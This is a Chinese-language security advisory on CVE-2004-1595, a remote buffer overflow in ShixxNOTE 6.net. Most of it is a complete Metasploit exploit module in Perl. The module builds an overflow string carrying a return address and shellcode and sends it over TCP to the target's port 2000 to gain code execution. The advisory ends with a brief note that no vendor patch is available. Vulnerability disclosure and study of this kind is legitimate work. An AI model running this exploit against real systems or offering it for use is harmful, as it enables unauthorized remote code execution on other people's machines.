安全研究

安全漏洞
ShixxNOTE 6.net远程缓冲区溢出漏洞

发布日期:2004-10-14
更新日期:2006-02-11

受影响系统:
ShixxNOTE ShixxNOTE 6.net
描述:
BUGTRAQ  ID: 11409
CVE ID: CVE-2004-1595

ShixxNOTE 6.net是一种集个人日程管理、笔记贴士、即时信息传送等功能为一体的软件。

ShixxNOTE 6.net在处理用户请求时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。



<*来源:Luigi Auriemma (aluigi@pivx.com
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::shixxnote_font;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

    'Name'  => 'ShixxNOTE 6.net Font Buffer Overflow',
    'Version'  => '$Revision: 1.2 $',
    'Authors' => [ 'y0 [at] w00t-shell.net', ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp' ],
    'Priv'  => 1,
    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 2000],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },
    'AutoOpts' => { 'EXITFUNC' => 'process' },
    'Payload'  =>
      {
        'Space'     => 650,
        'BadChars'  => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
        'Prepend'   => "\x81\xc4\xff\xef\xff\xff\x44",
        'Keys'      => ['+ws2ord'],
      },

    'Description'  => Pex::Text::Freeform(qq{
    This module exploits a buffer overflow in ShixxNOTE 6.net.
    The vulnerability is caused due to boundary errors in the
    handling of font fields.
}),

    'Refs'  =>  [
        ['CVE', '2004-1595'],
        ['BID', '11409'],
      ],
    'Targets' => [
        ['ShixxNOTE 6.net Universal', 0x10041951],
      ],

    'DefaultTarget' => 0,

    'DisclosureDate' => 'Oct 04 2004',

    'Keys' => ['shixxnote'],
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit
{
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];

    my $sploit =
      Pex::Text::UpperCaseText(8). "~~". Pex::Text::UpperCaseText(102).
      "\xeb\x06\x46\x92". pack('V', $target->[1]). $shellcode.
      Pex::Text::UpperCaseText(200). ("~" x 10);

    $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $s->Send($sploit);
    $self->Handler($s);
    $s->Close();
    return;
}

1;

建议:
厂商补丁:

ShixxNOTE
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.shixxnote.com/

浏览次数:2404
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障